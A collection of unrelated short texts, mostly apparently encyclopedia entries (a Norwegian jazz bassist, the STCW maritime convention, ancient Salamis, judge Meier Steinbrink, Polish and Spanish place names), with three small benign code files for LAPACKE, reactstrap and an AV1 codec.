With drummer Jarle Vespestad and violinist Håkon Aase, Hole formed his own trio (Sigurd Hole Trio) in 2015. The trio released its debut album "Encounters" in April 2018, to critical acclaim both in Norway and around the world. Inspired by different traditional music such as the Indian, Middle Eastern and Norwegian folk music, the trio explores elements from these old musical traditions, combining them with their own expressions as improvising musicians of today. The result is a unique mix of eastern and western musical traditions - an open ended, “borderless” form of chamber music described by Jazz Journal UK as being “Finely textured, vividly coloured and rooted in no specific place or time”. The trio has performed at major Norwegian festivals like Bergen International Festival and Varangerfestivalen, and has toured Germany, Belgium, Holland and the US.
Besides his own projects Hole is also an important part of the vibrant Norgwegian jazz scene in ensembles like Tord Gustavsen trio, Eple Trio and Karl Seglem acoustic quartet. He has played and collaborated with amongst others Helge Lien, Bugge Wesseltoft, Eli Storbekken, Nils Økland, Terje Isungset, Frode Haltli, Trygve Seim, Audun Sandvik, Arve Henriksen, Morten Quenild, Espen Rud, Torgrim Sollied, Birger Mistereggen, Tom Steiner Lund, Aasmund Nordstoga, Sondre Bratland, Live Maria Roggen, Solveig Slettahjell, Odd Nordstoga, The Norwegian Chamber Orchestra and og The Norwegian Radio Orchestra, been part of about 40 album releases and performed stages world wide like Wellington Opera House, Cadogan Hall in London og Lincoln Center in New York. In addition to his artistic work he was a double bass, ensembles and improvisation teacher at the Norwegian Academy of Music from 2007-2019.
Discography
Solo albums
2018: Elvesang (Elvesang)
2018: Encounters (Elvesang) - Sigurd Hole trio med Jarle Vespestad og Håkon Aase.
2020: Lys / Mørke (Elvesang, dobbeltalbum. Utgis 14. februar. Pre-releasekonsert i Weill Recital Hall i Carnegie Hall 3. februar)
Collaborations
2007: Made This, Eple Trio (NorCD)
2008: The Widening Sphere of influence, Eple Trio (NorCD)
2009: Norskjazz.no, Karl Seglem(Ozella)
2009: Skoddeheimen, Eple Trio + Karl Seglem and Lindha Kallerdal (NorCD)
2009: Arme jord ha Jolefred, Kvindelige studenter sangforening (LAWO Classics)
2010: Alle e aleina, Jan Toft (Warner Music)
2010: Comfort Call, Jon Eberson Group (JEG Records)
2010: In the Clearing / In the Cavern, Eple Trio (NorCD)
2011: The Coarse Sand And The Names We Wrote, Jon Eberson Group (JEG Records)
2012: Prøysen goes Jazz, 4 fyrer (Curlinglegs)
2013: Nye songar.no, Karl Seglem (Ozella)
2013: Jorba, Ole Jørn Myklebust (Finito Bacalao records)
2014: Universal Cycle, Eple Trio (Shipwrecords)
2014: Eberson Funk Ensemble (JEG records). Spilt inn høsten 2013.
2014: Lyden av Prøysen, Helge Lien & Sigurd Hole (Grappa)
2014: Jolevisur– Bolteløkka jentekor (Grappa)
2015: Østerdalsmusikk (NorCD)
2015: Waves, Seglem / Stiefel (Challenge Records).
2015: Live in Germany, Karl Seglem acoustic quartet (NorCD)
2015: Jul på orkesterplass, The Norwegian Radio Orchestra (KKV)
2016: Nordic Balm, Karl Seglem acoustic quartet (NorCD).
2016: Fabel, Eli Storbekken & Sigurd Hole (Grappa).
2016: StaiStua, Andreas Ulvo / Frode Haltli / Sigurd Hole (NorCD)
2017: Bak jorda ein plass, Jon Eberson Group (JEG records)
2017: West wind drift, Jonas Sjøvaag / Karl Seglem / Sigurd Hole (NORCD)
2017: 5, Eple Trio (Shipwreckords)
2018: The Other Side, Tord Gustavsen trio (ECM)
2018: Nunatak, Karl Seglem World Jazz band (Ozella)
2019: Play Ballads, Jon Eberson & Sigurd Hole (JEG Records)
See also
List of jazz bassists
References
External links
1981 births
Living people
Norwegian jazz composers
Avant-garde jazz double-bassists
Norwegian jazz upright-bassists
Male double-bassists
Avant-garde jazz musicians
Norwegian Academy of Music alumni
Academic staff of the Norwegian Academy of Music
Musicians from Elverum
NorCD artists
21st-century double-bassists
21st-century Norwegian male musicians
Eple Trio members |
International Convention on Standards of Training, Certification and Watchkeeping for Seafarers (STCW) sets minimum qualification standards for masters, officers and watch personnel on seagoing merchant ships and large yachts. STCW was adopted in 1978 by the International Maritime Organization (IMO) conference in London, and entered into force in 1984. The Convention was significantly amended in 1995 and 2010 entered into force on 1 January 2012.
The 1978 STCW Convention was the first to establish minimum basic requirements on training, certification and watchkeeping for seafarers on an international level. Previously the minimum standards of training, certification and watchkeeping of officers and ratings were established by individual governments, usually without reference to practices in other countries. As a result, minimum standards and procedures varied widely, even though shipping is extremely international by nature.
The Convention prescribes minimum standards relating to training, certification and watchkeeping for seafarers which countries are obliged to meet or exceed.
The Convention did not deal with manning levels: IMO provisions in this area are covered by regulation 14 of Chapter V of the International Convention for the Safety of Life at Sea (SOLAS), 1974, whose requirements are backed up by resolution A.890(21) Principles of safe manning, adopted by the IMO Assembly in 1999, which replaced an earlier resolution A.481(XII) adopted in 1981 and has since been itself replaced by resolution A.1047(27) Principles of Minimum Safe Manning, adopted by the IMO Assembly in 2011.
One especially important feature of the Convention is that it applies to ships of non-party states when visiting ports of States which are Parties to the Convention. Article X requires Parties to apply the control measures to ships of all flags to the extent necessary to ensure that no more favourable treatment is given to ships entitled to fly the flag of a State which is not a Party than is given to ships entitled to fly the flag of a State that is a Party.
The difficulties which could arise for ships of States which are not Parties to the Convention is one reason why the Convention has received such wide acceptance. By 2018, the STCW Convention had 164 Parties, representing 99.2 per cent of world shipping tonnage.
1995 revision
On 7 July 1995, the IMO adopted a comprehensive revision of STCW. It also included a proposal to develop a new STCW Code, which would contain the technical details associated with provisions of the Convention. The amendments entered force on 1 February 1997. Full implementation was required by 1 February 2002. Mariners already holding certification had the option to renew the certificates in accordance with the old rules of the 1978 Convention during the period ending on 1 February 2002. Mariners entering training programs after 1 August 1998 are required to meet the competency standards of the new 1995 Amendments.
The most significant amendments concerned:
a) enhancement of port state control;
b) communication of information to IMO to allow for mutual oversight and consistency in application of standards,
c) quality standards systems (QSS), oversight of training, assessment, and certification procedures,
The Amendments require that seafarers be provided
Manila Amendments
The IMO Convention on Standards of Training Certification and Watchkeeping of Seafarers adopted a new set of amendments in Manila in 2010 called "The Manila Amendments". These amendments were necessary to keep training standards in line with new technological and operational requirements that require new shipboard competencies. The Manila Amendments were effective as of 1 January 2012. There is a transition period until 2017 when all seafarers must be certified and trained according to the new standards. Implementation is progressive, every year a modified set of requirements comes into force. The most significant amendments are:
New rest hours for seafarers
New grades of certificates of competency for able seafarers in both deck and engine
New and updated training, refreshing requirements
Mandatory security training
Additional medical standards
Specific Alcohol limits in blood or breath.
STCW-F Convention
On 7 July 1995, the International Convention on Standards of Training, Certification and Watchkeeping for Fishing Vessel Personnel was adopted as a separate treaty as part of the comprehensive revisions to STCW. It applies the principles of STCW to fishing vessels from ratifying states that are 24 metres in length and above. STCW-F came into force on 29 September 2012.
See also
Seafarers' Identity Documents Convention, 1958; Seafarers' Identity Documents Convention (Revised), 2003
Merchant Mariner Credential, a US credential
Seaman Service Book, credential in Pakistan
Continuous Discharge Certificate, in India
Merchant Mariner's Document, UK and formerly US
References
External links
IMO information regarding STCW
US Coast Guard information regarding STCW
Maritime Skills Academy Overview of history of STCW.
UN provided text of the STCW convention
Admiralty law treaties
International Maritime Organization treaties
Treaties concluded in 1978
Treaties entered into force in 1984
Treaties of Albania
Treaties of Algeria
Treaties of the People's Republic of Angola
Treaties of Antigua and Barbuda
Treaties of Argentina
Treaties of Australia
Treaties of Austria
Treaties of Azerbaijan
Treaties of the Bahamas
Treaties of Bahrain
Treaties of Bangladesh
Treaties of Barbados
Treaties of Belgium
Treaties of Belize
Treaties of the People's Republic of Benin
Treaties of Bolivia
Treaties of the military dictatorship in Brazil
Treaties of Brunei
Treaties of the People's Republic of Bulgaria
Treaties of Myanmar
Treaties of Cambodia
Treaties of Cameroon
Treaties of Canada
Treaties of Cape Verde
Treaties of Chile
Treaties of the People's Republic of China
Treaties of Colombia
Treaties of the Comoros
Treaties of Zaire
Treaties of the Republic of the Congo
Treaties of the Cook Islands
Treaties of Costa Rica
Treaties of Ivory Coast
Treaties of Croatia
Treaties of Cuba
Treaties of Cyprus
Treaties of the Czech Republic
Treaties of Czechoslovakia
Treaties of Denmark
Treaties of Djibouti
Treaties of Dominica
Treaties of the Dominican Republic
Treaties of Ecuador
Treaties of Egypt
Treaties of El Salvador
Treaties of Equatorial Guinea
Treaties of Eritrea
Treaties of Estonia
Treaties of the Derg
Treaties of Fiji
Treaties of Finland
Treaties of France
Treaties of Gabon
Treaties of the Gambia
Treaties of Georgia (country)
Treaties of West Germany
Treaties of East Germany
Treaties of Ghana
Treaties of Greece
Treaties of Grenada
Treaties of Guatemala
Treaties of Guinea
Treaties of Guinea-Bissau
Treaties of Guyana
Treaties of Haiti
Treaties of Honduras
Treaties of the Hungarian People's Republic
Treaties of Iceland
Treaties of India
Treaties of Indonesia
Treaties of Iran
Treaties of Ba'athist Iraq
Treaties of Ireland
Treaties of Israel
Treaties of Italy
Treaties of Jamaica
Treaties of Japan
Treaties of Jordan
Treaties of Kazakhstan
Treaties of Kenya
Treaties of Kiribati
Treaties of North Korea
Treaties of South Korea
Treaties of Kuwait
Treaties of Latvia
Treaties of Lebanon
Treaties of Liberia
Treaties of the Libyan Arab Jamahiriya
Treaties of Lithuania
Treaties of Luxembourg
Treaties of Madagascar
Treaties of Malawi
Treaties of Malaysia
Treaties of the Maldives
Treaties of Malta
Treaties of the Marshall Islands
Treaties of Mauritania
Treaties of Mauritius
Treaties of Mexico
Treaties of the Federated States of Micronesia
Treaties of Moldova
Treaties of Mongolia
Treaties of Montenegro
Treaties of Morocco
Treaties of the People's Republic of Mozambique
Treaties of Namibia
Treaties of the Netherlands
Treaties of New Zealand
Treaties of Nicaragua
Treaties of Nigeria
Treaties of Niue
Treaties of Norway
Treaties of Oman
Treaties of Pakistan
Treaties of Palau
Treaties of Panama
Treaties of Papua New Guinea
Treaties of Peru
Treaties of the Philippines
Treaties of the Polish People's Republic
Treaties of Portugal
Treaties of Qatar
Treaties of Romania
Treaties of Saint Kitts and Nevis
Treaties of Saint Lucia
Treaties of Saint Vincent and the Grenadines
Treaties of Samoa
Treaties of São Tomé and Príncipe
Treaties of Saudi Arabia
Treaties of Senegal
Treaties of Serbia and Montenegro
Treaties of Seychelles
Treaties of Sierra Leone
Treaties of Singapore
Treaties of Slovakia
Treaties of Slovenia
Treaties of the Solomon Islands
Treaties of South Africa
Treaties of the Soviet Union
Treaties of Francoist Spain
Treaties of Sri Lanka
Treaties of the Republic of the Sudan (1985–2011)
Treaties of Suriname
Treaties of Sweden
Treaties of Switzerland
Treaties of Syria
Treaties of Tanzania
Treaties of Thailand
Treaties of Togo
Treaties of Tonga
Treaties of Trinidad and Tobago
Treaties of Tunisia
Treaties of Turkey
Treaties of Turkmenistan
Treaties of Tuvalu
Treaties of Ukraine
Treaties of the United Arab Emirates
Treaties of the United Kingdom
Treaties of the United States
Treaties of Uruguay
Treaties of Vanuatu
Treaties of Venezuela
Treaties of Vietnam
Treaties of Yemen
Treaties of Yugoslavia
1978 in London
Treaties extended to the Isle of Man
Treaties extended to Bermuda
Treaties extended to the Cayman Islands
Treaties extended to Gibraltar
Treaties extended to the British Virgin Islands
Treaties extended to the Netherlands Antilles
Treaties extended to Aruba
Treaties extended to the Cook Islands
Treaties extended to Niue
Treaties extended to the Faroe Islands
Treaties extended to British Hong Kong
Treaties extended to Macau |
Salamis (; ; ) was an ancient Greek city-state on the east coast of Cyprus, at the mouth of the river Pedieos, 6 km north of modern Famagusta. According to tradition, the founder of Salamis was Teucer, son of Telamon, king of the Greek island of Salamis, who could not return home after the Trojan War because he had failed to avenge his brother Ajax.
History
Early history
The earliest archaeological finds go back to the eleventh century BC (Late Bronze Age III). The copper ores of Cyprus made the island an essential node in the earliest trade networks, and Cyprus was a source of the orientalizing cultural traits of mainland Greece at the end of the Greek Dark Ages, hypothesized by Walter Burkert in 1992. Children's burials in Canaanite jars indicate a Phoenician presence. A harbour and a cemetery from this period have been excavated. The town is mentioned in Assyrian inscriptions as one of the kingdoms of Iadnana (Cyprus). In 877 BC, an Assyrian army reached the Mediterranean shores for the first time. In 708 BC, the city-kings of Cyprus paid homage to Sargon II of Assyria (Burkert). The first coins were minted in the 6th century BC, following Persian prototypes.
Cyprus was under the control of the Assyrians at this time but the city-states of the island enjoyed a relative independence as long as they paid their tribute to the Assyrian king. This allowed the kings of the various cities to accumulate wealth and power. Certain burial customs observed in the "royal tombs" of Salamis relate directly to Homeric rites, such as the sacrifice of horses in honor of the dead and the offering of jars of olive oil. Some scholars have interpreted this phenomenon as the result of influence of the Homeric Epics in Cyprus. Most of the grave goods come from the Levant or Egypt.
According to the foundation myth, the founder of Salamis is said to be Teucer, son of Telamon, who could not return home after the Trojan war because he had failed to avenge his brother Ajax. There is however some evidence that the area had been occupied long before the alleged arrival of Mycenaeans (at Enkomi) and the town of Salamis was developed as a replacement when Engkomi was isolated from the sea. There is otherwise little direct evidence to support the foundation myth.
In the Greek period
In the 11th century BC, the town was confined to a rather small area around the harbour but soon expanded westwards to occupy the area, which today is covered by forest. The cemetery of Salamis covers a large area from the western limits of the forest to the Monastery of St. Barnabas to the west, to the outskirts of the village of Ayios Serghios to the north, and to the outskirts of Enkomi village to the south. It contains tombs dating from the 9th century BC down to the Early Christian period. The earlier tombs are within the forest area, near the boundary of the early town.
Though Salamis maintained direct links with the Near East during the 8th and 7th centuries BC, there were bonds with the Aegean as well. One royal tomb contained a large amount of Greek Geometric pottery and this has been explained as the dowry of a Greek princess who married into the royal family of Salamis. Greek pottery was also found in tombs of ordinary citizens. At this time the Greeks were embarking on an eastward expansion by founding colonies in Asia Minor and Syria; Salamis must have served as an intermediate station; it has even been suggested that Cypriots helped the Greeks in their venture.
Resistance to Persian rule
In 450 BC, Salamis was the site of a simultaneous land and sea battle between Athens and the Persians. (This is not to be confused with the earlier Battle of Salamis in 480 BC between the Greeks and the Persians at Salamis in Attica.)
The history of Salamis during the early Archaic and Classical periods is reflected in the narrations of the Greek historian Herodotus and the much later speeches of the Greek orator Isocrates. Salamis was afterwards besieged and conquered by Artaxerxes III. Under King Evagoras I (411-374 BC) Greek culture and art flourished in the city and it would be interesting one day when the spade of the archaeologist uncovers public buildings of this period. A monument, which illustrates the end of the Classical period in Salamis, is the tumulus, which covered the cenotaph of Nicocreon, one of the last kings of Salamis, who perished in 311 BC. On its monumental platform were found several clay heads, some of which are portraits, perhaps of members of the royal family who were honoured after their death on the pyre.
Marguerite Yon (archaeologist) claims that "Literary texts and inscriptions suggest that by the Classical period, Kition [in present-day Larnaca] was one of the principal local powers, along with its neighbor Salamis."
Alexander the Great and the Roman Empire
After Alexander the Great conquered the Persian Empire, Ptolemy I of Egypt ruled the island of Cyprus. He forced Nicocreon, who had been the Ptolemaic governor of the island, to commit suicide in 311 BC, because he did not trust him any more. In his place came king Menelaus, who was the brother of the first Ptolemy. Nicocreon is supposed to be buried in one of the big tumuli near Enkomi. Salamis remained the seat of the governor.
In 306 BC, Salamis was the site of a naval battle between the fleets of Demetrius I of Macedon and Ptolemy I of Egypt. Demetrius won the battle and captured the island.
In 58 BC, the Roman Republic annexed Cyprus; the Senate commissioned Cato the Younger to add Cyprus to the Republic's dominions. Ptolemy of Cyprus, the last Cypriotic king, committed suicide rather than surrender to Rome.
In Roman times, Salamis was part of the Roman province of Cilicia. The seat of the governor was relocated to Paphos. The town suffered heavily during the Jewish rising of AD 116–117. Although Salamis ceased to be the capital of Cyprus from the Hellenistic period onwards when it was replaced by Paphos, its wealth and importance did not diminish. The city was particularly favoured by the Roman emperors Trajan and Hadrian, who restored and established its public buildings.
In the Roman and Byzantine periods
The "cultural centre" of Salamis during the Roman period was situated at the northernmost part of the city, where a gymnasium, theatre, amphitheatre, stadium and public baths have been revealed.
There are baths, public latrines (for 44 users), various little bits of mosaic, a harbour wall, a Hellenistic and Roman agora and a temple of Zeus that had the right to grant asylum. Byzantine remains include the basilica of Bishop Epiphanos (AD 367–403). It served as the metropolitan church of Salamis. St. Epiphanios is buried at the southern apse. The church contains a baptistry heated by hypocausts. The church was destroyed in the 7th century and replaced by a smaller building to the south.
There are very extensive ruins. The theatre, and the gymnasium have been extensively restored. Numerous statues are displayed in the central court of the gymnasium most of which are headless. While a statue of Augustus originally belonged here, some columns and statues originally adorned the theatre and were only brought here after an earthquake in the 4th century. The theatre is of Augustean date. It could house up to 15.000 spectators but was destroyed in the 4th century.
The town was supplied with water by an aquaeduct from Kythrea, destroyed in the 7th century. The water was collected in a large cistern near the Agora. The necropolis of Salamis covers ca. 7 km² to the west of the town. It contains a museum showing some of the finds. Burials date from the geometric to the Hellenistic period. The best known burials are the so-called Royal-Tombs, containing chariots and extremely rich grave gifts, including imports from Egypt and Syria. A tomb excavated in 1965 by the French Mission of the University of Lyon brought to light an extraordinary wealth of tomb-gifts, which also attest trade relations with the Near East.
Christianity
In what is known as the "First Missionary Journey", Paul the apostle and the Cypriot-born Barnabas made Salamis their first destination, landing there after heading out from Antioch of Syria. There they proclaimed Christ in the Jewish synagogues before proceeding through the rest of the island (Acts 13:1-5). Tradition says that Barnabas preached in Alexandria and Rome, and was stoned to death at Salamis in about 61 CE. He is considered the founder of the Church of Cyprus. His bones are believed to be located in the nearby monastery named after him.
Several earthquakes led to the destruction of Salamis at the beginning of the 4th century. The town was rebuilt under the name of Constantia by Constantius II (337–361) and became an Episcopal seat, the most famous occupant of which was Saint Epiphanius. Emperor Constantius II helped the Salaminians not only for the reconstruction of their city but also he helped them by relieving them from paying taxes for a short period and thus the new city, rebuilt on a smaller scale, was named Constantia. The silting of the harbour led to a gradual decline of the town. Salamis was finally abandoned during the Arab invasions of the 7th century after destructions by Muawiyah I ( reigned 661-680 ). The inhabitants moved to Arsinoë (Famagusta).
Excavations
Archaeological excavations at the site began in the late nineteenth century under the auspices of the Cyprus Exploration Fund. Many of these finds are now in the British Museum in London.
Excavations at Salamis started again in 1952 and were in progress until 1974. Before the Turkish invasion there was much archaeological activity there; one French Mission was excavating at Enkomi, another at Salamis and the Department of Antiquities was busy almost throughout the year with repairs and restorations of monuments and was engaged in excavations at Salamis. After the Turkish invasion the international embargo has prevented the continuation of the excavations. The site and the museums are maintained by the antiquities service. Important archaeological collections are kept in the St. Barnabas monastery. In the District Archaeological Museum there are marble statues from the gymnasium and the theatre of Salamis, Mycenaean pottery and jewellery from Enkomi and other objects representative of the rich archaeological heritage of the whole district. Several of the statues and sculptures from antiquity are disfigured, headless or mutilated, likely by Christian zealots in late antiquity during the persecution of pagans in the late Roman Empire.
The public buildings uncovered at the city site of Salamis date to the post-Classical period. The Temple of Zeus Salaminios, whose cult was established, according to tradition, by Teucer himself, must have existed since the foundation of the city; the extant remains date to the late Hellenistic period. Early excavators discovered in the esplanade of the Temple of Zeus an enormous marble capital carved on each side with a caryatid figure standing between the foreparts of winged bulls. Now in the British Museum's collection, the function of the capital remains unclear, although it does indicate influence from Achaemenid art and is consequently dated to between 300 and 250 BC.
See also
List of ancient Greek cities
Notes
References
Vassos Karageorghis, Salamis in Cyprus, Homeric, Hellenistic and Roman (1969), .
Walter Burkert, 1992. The Orientalizing Revolution: Near Eastern Influence on Greek Culture in the Early Archaic Age (Harvard University Press)
External links
The ancient ruins of Salamis
StoryMap about the cult practices at Salamis (S. Fourrier, A. Rabot)
Historic sites in Cyprus
Cities in ancient Cyprus
Archaeological sites in Northern Cyprus
Former populated places in Cyprus
New Testament cities
Destroyed temples
Persecution of pagans in the late Roman Empire
Phoenician colonies in Cyprus |
```c
/*****************************************************************************
All rights reserved.
Redistribution and use in source and binary forms, with or without
modification, are permitted provided that the following conditions are met:
* Redistributions of source code must retain the above copyright notice,
this list of conditions and the following disclaimer.
* Redistributions in binary form must reproduce the above copyright
notice, this list of conditions and the following disclaimer in the
documentation and/or other materials provided with the distribution.
* Neither the name of Intel Corporation nor the names of its contributors
may be used to endorse or promote products derived from this software
without specific prior written permission.
THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE
LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF
SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS
INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN
CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)
ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF
THE POSSIBILITY OF SUCH DAMAGE.
******************************************************************************
* Contents: Native C interface to LAPACK utility function
* Author: Intel Corporation
*****************************************************************************/
#include "lapacke_utils.h"
/* Converts input general matrix from row-major(C) to column-major(Fortran)
* layout or vice versa.
*/
void API_SUFFIX(LAPACKE_zgg_trans)( int matrix_layout, lapack_int m, lapack_int n,
const lapack_complex_double* in, lapack_int ldin,
lapack_complex_double* out, lapack_int ldout )
{
API_SUFFIX(LAPACKE_zge_trans)( matrix_layout, m, n, in, ldin, out, ldout );
}
``` |
Meier Steinbrink (February 28, 1880 – December 7, 1967) was a Jewish-American lawyer and judge from New York.
Life
Steinbrink was born on February 28, 1880, in New York City, New York, the son of Samuel Steinbrink and Fredricka Stern. His father ran a small candy store.
Steinbrink attended the Public School No. 1 of Brooklyn, the Boys High School of Brooklyn, and the New York University School of Law. He was admitted to the bar in 1901 and began practicing law in Brooklyn. In 1911, the Brooklyn Standard Union picked him to expose and prosecute the WIllet judiciary scandal. In 1915, he was counsel for the Roman Catholic Church in wire-tapping cases. In 1917, he became a member of the District Board of Appeals in draft cases for New York City. He was associated with Charles Evans Hughes in the Aircraft investigations in 1918, and his work in those investigations led to his work with a House of Representatives select committee in 1919 to investigate expenditures of the War Department. In 1922, he was a special assistant to the United States Attorney General in the trial of Civl War fraud cases which grew out of aircraft production. He was an advisory committee member of the Hamilton branch of the Chase National Bank, a director of the Greater New York Savings Bank and the National Title Company, and second vice-president and director of the Brooklyn National Life Insurance Company.
Steinbrink was special counsel for New York City in an investigation of city contracts in 1921. He was an arbitrator for the Arbitration Society of America. In the 1912 New York state election, he was the Republican candidate for Attorney General of New York. He was 32 in that election, making him the youngest person to have been nominated for the office at the time. He lost the election to Democratic candidate Thomas Carmody. He was a delegate to the 1915 New York State Constitutional Convention. By 1915, he was a member of the law firm Jones, McKinney & Steinbrink. He was a presidential elector in the 1928 presidential election.
From 1928 to 1929, Steinbrink served in the ambulance chasing investigation in the Second Judicial District without compensation. In 1932, he became a Justice of the New York Supreme Court. In 1939, he became a member of the Appellate Term. Early in his judgeship, while treating an airplane collision, he demonstrated the elasticity of the law which permitted applying its rules to novel situations. He later authorized a blood test to be used to demonstrate paternity, which established a precedent that later resulted in specific legislation. In 1933, during the Great Depression, he determined the applicable law came to aid of home owners by permitting them to retain possession during the pendency of foreclosure action. He also declared an ordinance that prohibited peddling on the streets of New York City unconstitutional.
As Justice, Steinbrink played a major role in establishing a Committee for the Protection of Religious Freedom Through the World in 1949. In that year, he also presided over the case of Rev. John Howard Melish, the rector of the Holy Trinity Episcopal Church who was ordered to relinquish the rectorship by Bishop James Pernette De Wolfe for his avowed approval of his son and assistant Rev. William Howard Melish's 'radical' activities. Steinbrink ruled for removal, and the Appellate Division upheld the decision. He retired as Justice in 1957. He was chairman of the Anti-Defamation League from 1946 to 1952, and was a vigorous opponent of racial injustice and fought for the rights of all minority groups. He frequently called for a federal civil rights law and spoke out for fair employment practices.
Steinbrink received the Gold Key Award from the Jewish Culture Foundation of New York University in 1941, a scroll from the Interfaith Movement in 1944, a citation from B'nai B'rith in 1947, a citation from the JDA in 1950, the Felix M. Warburg Memorial award from the Federation of Jewish Philanthropies in 1950, the NCCJ award from the Brooklyn division in 1955, and the Man of the Year plaque from the Metropolitan Conference of Temple Brotherhoods in 1958. He was president of the New York Federation of Reform Synagogues from 1942 to 1946 and its honorary president from 1946 to 1950. He was a trustee of the Federation of Jewish Philanthropies and an honorary chairman of its Brooklyn division. He became a director of the Sigmund Livingston Memorial Scholarship Fund, the Brooklyn chapter of the American Cancer Committee, and the Leo N. Levi Memorial Hospital in 1950.
Steinbrink received an honorary LL.D. degree from Brooklyn Law School in 1934. He was active in Jewish communal work in Brooklyn, serving as the first president of the United Jewish Aid Society and as an incorporator and director of the Brooklyn Federation of Jewish Charities. In 1938, when a group of Brooklyn Jews founded an organization to propagandize for the proportional representation of Jews in government, he came out firmly against all segregative political steps. In 1943, he was president of the 38th biennial convention of the Union of American Hebrew Congregations. He was also president of Congregation Beth Elohim. He was a sponsor of the Universal Jewish Encyclopedia.
Steinbrink was a trustee and Legal Education Committee chairman of the Brooklyn Bar Association, Law Reform Committee chairman of the New York State Bar Association, vice-president of the Unity Club, a director of the Brooklyn Juvenile Probation Association and the Brooklyn Club, a trustee and counsel of the Brooklyn Hebrew Orphan Asylum, and a member of the Royal Arcanum, the Elks, the Kings County Republican General Committee, and the Brooklyn Rotary Club. He was also a director of the Brooklyn Chamber of Commerce and the Hebrew Educational Society, and a member of the American Bar Association, Sigma Lambda Nu, the Freemasons, and the Inwood Country Club. In 1906, he married Sadie Bloch. Their children were Stuart Henry, a lawyer, and Miriam.
Steinbrink died at home on December 7, 1967.
References
External links
The Political Graveyard
Meier Steinbrink Papers at the Center for Jewish History
1880 births
1967 deaths
Lawyers from Brooklyn
Boys High School (Brooklyn) alumni
New York University School of Law alumni
20th-century American lawyers
Jewish American attorneys
New York (state) Republicans
1928 United States presidential electors
20th-century American judges
New York Supreme Court Justices
American Freemasons
19th-century American Jews
20th-century American Jews
American Reform Jews
Anti-Defamation League members |
Las Minas (Spanish, 'The Mines') may refer to:
Populated places
Las Minas District, Panama
Las Minas, Herrera
Las Minas, Veracruz, Mexico
Natural features
Cerro Las Minas, the highest mountain in Honduras
Las Minas Creek, a river in Jalisco, Mexico
Río de la Mina (Coamo, Puerto Rico), a river in Puerto Rico
Río de la Mina (Río Grande, Puerto Rico), a river in Puerto Rico
Las Minas, the name of several rivers of Chile
Archaeological sites
Cerro de las Minas, a Mixtec site in Oaxaca, Mexico |
Wysokie may refer to the following places in Poland:
Wysokie, Lower Silesian Voivodeship (south-west Poland)
Wysokie, Biała Podlaska County in Lublin Voivodeship (east Poland)
Wysokie, Hrubieszów County in Lublin Voivodeship (east Poland)
Wysokie, Gmina Jastków in Lublin Voivodeship (east Poland)
Wysokie, Sokółka County in Podlaskie Voivodeship (north-east Poland)
Wysokie, Gmina Raczki in Podlaskie Voivodeship (north-east Poland)
Wysokie, Gmina Wiżajny in Podlaskie Voivodeship (north-east Poland)
Wysokie Duże, Gmina Stawiski in Podlaskie Voivodeship (north-east Poland)
Wysokie, Gmina Wysokie in Lublin Voivodeship (east Poland)
Wysokie, Lesser Poland Voivodeship (south Poland)
Wysokie, Zamość County in Lublin Voivodeship (east Poland)
Wysokie, Greater Poland Voivodeship (west-central Poland)
Wysokie, Lubusz Voivodeship (west Poland)
Wysokie, Pomeranian Voivodeship (north Poland)
Wysokie, Warmian-Masurian Voivodeship (north Poland)
Wysokie, West Pomeranian Voivodeship (north-west Poland) |
```javascript
import React from 'react';
import { Nav, NavItem, NavLink } from 'reactstrap';
import Props from '../Props';
function Example() {
return <Props components={[Nav, NavItem, NavLink]} />;
}
export default Example;
``` |
Ignacew Rozlazły is a village in the administrative district of Gmina Parzęczew, within Zgierz County, Łódź Voivodeship, in central Poland. It lies approximately south-east of Parzęczew, north-west of Zgierz, and north-west of the regional capital Łódź.
References
Villages in Zgierz County |
```c
/*
*
* was not distributed with this source code in the LICENSE file, you can
* obtain it at www.aomedia.org/license/software. If the Alliance for Open
* PATENTS file, you can obtain it at www.aomedia.org/license/patent.
*/
#include "pxr/imaging/plugin/hioAvif/aom/config/aom_config.h"
#define RTCD_C
#include "pxr/imaging/plugin/hioAvif/aom/config/av1_rtcd.h"
#include "pxr/imaging/plugin/hioAvif/aom/aom_ports/aom_once.h"
void av1_rtcd() {
// TODO(JBB): Remove this aom_once, by insuring that both the encoder and
// decoder setup functions are protected by aom_once();
aom_once(setup_rtcd_internal);
}
``` |
Fatikchhari Girls Pilot High School (Bengali: ফটিকছড়ি বালিকা পাইলট উচ্চ বিদ্যালয়) is a secondary school for girls in Chittagong District, Bangladesh. It was established in 1958.
References
Educational Institutions in Bangladesh
High schools in Bangladesh
Educational institutions established in 1958
1958 establishments in East Pakistan
Fatikchhari Upazila |
Saa–Sak
|- class="vcard"
| class="fn org" | Saasaig
| class="adr" | Highland
| class="note" |
| class="note" |
|- class="vcard"
| class="fn org" | Sabden
| class="adr" | Lancashire
| class="note" |
| class="note" |
|- class="vcard"
| class="fn org" | Sabine's Green
| class="adr" | Essex
| class="note" |
| class="note" |
|- class="vcard"
| class="fn org" | Sabiston
| class="adr" | Orkney Islands
| class="note" |
| class="note" |
|- class="vcard"
| class="fn org" | Sackers Green
| class="adr" | Suffolk
| class="note" |
| class="note" |
|- class="vcard"
| class="fn org" | Sacombe
| class="adr" | Hertfordshire
| class="note" |
| class="note" |
|- class="vcard"
| class="fn org" | Sacombe Green
| class="adr" | Hertfordshire
| class="note" |
| class="note" |
|- class="vcard"
| class="fn org" | Sacquoy Head
| class="adr" | Orkney Islands
| class="note" |
| class="note" |
|- class="vcard"
| class="fn org" | Sacriston
| class="adr" | Durham
| class="note" |
| class="note" |
|- class="vcard"
| class="fn org" | Sadberge
| class="adr" | Darlington
| class="note" |
| class="note" |
|- class="vcard"
| class="fn org" | Saddell
